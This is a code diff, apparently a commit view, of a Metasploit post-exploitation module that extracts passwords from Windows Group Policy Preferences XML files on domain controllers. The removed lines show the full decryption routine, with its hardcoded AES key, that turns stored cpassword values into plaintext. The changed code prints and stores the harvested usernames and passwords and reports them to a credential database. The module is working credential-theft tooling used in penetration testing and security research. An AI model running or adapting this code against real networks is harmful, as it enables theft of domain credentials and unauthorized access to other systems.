4
4
##
5
5
6
6
require 'msf/core'
7
- require 'rex'
8
- require 'rexml/document'
9
7
require 'msf/core/auxiliary/report'
8
+ require 'rex/parser/group_policy_preferences'
10
9
11
10
class Metasploit3 < Msf ::Post
12
11
include Msf ::Auxiliary ::Report
@@ -220,7 +219,7 @@ def gpp_xml_file(path)
220
219
retobj = {
221
220
:dc => spath [ 2 ] ,
222
221
:path => path ,
223
- :xml => REXML :: Document . new ( data ) . root
222
+ :xml => data
224
223
}
225
224
if spath [ 4 ] == "sysvol"
226
225
retobj [ :domain ] = spath [ 5 ]
@@ -237,85 +236,34 @@ def gpp_xml_file(path)
237
236
def parse_xml ( xmlfile )
238
237
mxml = xmlfile [ :xml ]
239
238
print_status "Parsing file: #{ xmlfile [ :path ] } ..."
240
- filetype = xmlfile [ :path ] . split ( '\\' ) . last ( )
241
- mxml . elements . to_a ( "//Properties" ) . each do |node |
242
- epassword = node . attributes [ 'cpassword' ]
243
- next if epassword . to_s . empty?
244
- pass = decrypt ( epassword )
245
-
246
- user = node . attributes [ 'runAs' ] if node . attributes [ 'runAs' ]
247
- user = node . attributes [ 'accountName' ] if node . attributes [ 'accountName' ]
248
- user = node . attributes [ 'username' ] if node . attributes [ 'username' ]
249
- user = node . attributes [ 'userName' ] if node . attributes [ 'userName' ]
250
- user = node . attributes [ 'newName' ] unless node . attributes [ 'newName' ] . blank?
251
- changed = node . parent . attributes [ 'changed' ]
252
-
253
- # Printers and Shares
254
- path = node . attributes [ 'path' ]
255
-
256
- # Datasources
257
- dsn = node . attributes [ 'dsn' ]
258
- driver = node . attributes [ 'driver' ]
259
-
260
- # Tasks
261
- app_name = node . attributes [ 'appName' ]
262
-
263
- # Services
264
- service = node . attributes [ 'serviceName' ]
265
-
266
- # Groups
267
- expires = node . attributes [ 'expires' ]
268
- never_expires = node . attributes [ 'neverExpires' ]
269
- disabled = node . attributes [ 'acctDisabled' ]
270
-
271
- table = Rex ::Ui ::Text ::Table . new (
272
- 'Header' => 'Group Policy Credential Info' ,
273
- 'Indent' => 1 ,
274
- 'SortIndex' => -1 ,
275
- 'Columns' =>
276
- [
277
- 'Name' ,
278
- 'Value' ,
279
- ]
280
- )
281
-
282
- table << [ "TYPE" , filetype ]
283
- table << [ "USERNAME" , user ]
284
- table << [ "PASSWORD" , pass ]
285
- table << [ "DOMAIN CONTROLLER" , xmlfile [ :dc ] ]
286
- table << [ "DOMAIN" , xmlfile [ :domain ] ]
287
- table << [ "CHANGED" , changed ]
288
- table << [ "EXPIRES" , expires ] unless expires . blank?
289
- table << [ "NEVER_EXPIRES?" , never_expires ] unless never_expires . blank?
290
- table << [ "DISABLED" , disabled ] unless disabled . blank?
291
- table << [ "PATH" , path ] unless path . blank?
292
- table << [ "DATASOURCE" , dsn ] unless dsn . blank?
293
- table << [ "DRIVER" , driver ] unless driver . blank?
294
- table << [ "TASK" , app_name ] unless app_name . blank?
295
- table << [ "SERVICE" , service ] unless service . blank?
296
-
297
- node . elements . each ( '//Attributes//Attribute' ) do |dsn_attribute |
298
- table << [ "ATTRIBUTE" , "#{ dsn_attribute . attributes [ 'name' ] } - #{ dsn_attribute . attributes [ 'value' ] } " ]
299
- end
239
+ filetype = File . basename ( xmlfile [ :path ] . gsub ( "\\ " , "/" ) )
240
+ results = Rex ::Parser ::GPP . parse ( mxml )
300
241
301
- print_good table . to_s
242
+ tables = Rex :: Parser :: GPP . create_tables ( results , filetype , xmlfile [ :domain ] , xmlfile [ :dc ] )
302
243
244
+ tables . each do |table |
245
+ table . print
246
+ end
247
+
248
+ results . each do |result |
303
249
if datastore [ 'STORE' ]
304
250
stored_path = store_loot ( 'windows.gpp.xml' , 'text/plain' , session , xmlfile [ :xml ] , filetype , xmlfile [ :path ] )
305
251
print_status ( "XML file saved to: #{ stored_path } " )
306
252
end
307
253
308
- report_creds ( user , pass ) unless disabled and disabled == '1'
254
+ report_creds ( result [ :USER ] , result [ :PASS ] , result [ :DISABLED ] )
309
255
end
310
256
end
311
257
312
- def report_creds ( user , pass )
258
+ def report_creds ( user , password , disabled )
313
259
if session . db_record
314
260
source_id = session . db_record . id
315
261
else
316
262
source_id = nil
317
263
end
318
264
265
+ active = ( disabled == 0 )
266
+
319
267
report_auth_info (
320
268
:host => session . sock . peerhost ,
321
269
:port => 445 ,
@@ -324,23 +272,8 @@ def report_creds(user, pass)
324
272
:source_id => source_id ,
325
273
:source_type => "exploit" ,
326
274
:user => user ,
327
- :pass => pass )
328
- end
329
-
330
- def decrypt ( encrypted_data )
331
- padding = "=" * ( 4 - ( encrypted_data . length % 4 ) )
332
- epassword = "#{ encrypted_data } #{ padding } "
333
- decoded = Rex ::Text . decode_base64 ( epassword )
334
-
335
- key = "\x4e \x99 \x06 \xe8 \xfc \xb6 \x6c \xc9 \xfa \xf4 \x93 \x10 \x62 \x0f \xfe \xe8 \xf4 \x96 \xe8 \x06 \xcc \x05 \x79 \x90 \x20 \x9b \x09 \xa4 \x33 \xb6 \x6c \x1b "
336
- aes = OpenSSL ::Cipher ::Cipher . new ( "AES-256-CBC" )
337
- aes . decrypt
338
- aes . key = key
339
- plaintext = aes . update ( decoded )
340
- plaintext << aes . final
341
- pass = plaintext . unpack ( 'v*' ) . pack ( 'C*' ) # UNICODE conversion
342
-
343
- return pass
275
+ :pass => password ,
276
+ :active => active )
344
277
end
345
278
346
279
def enum_domains
0 commit comments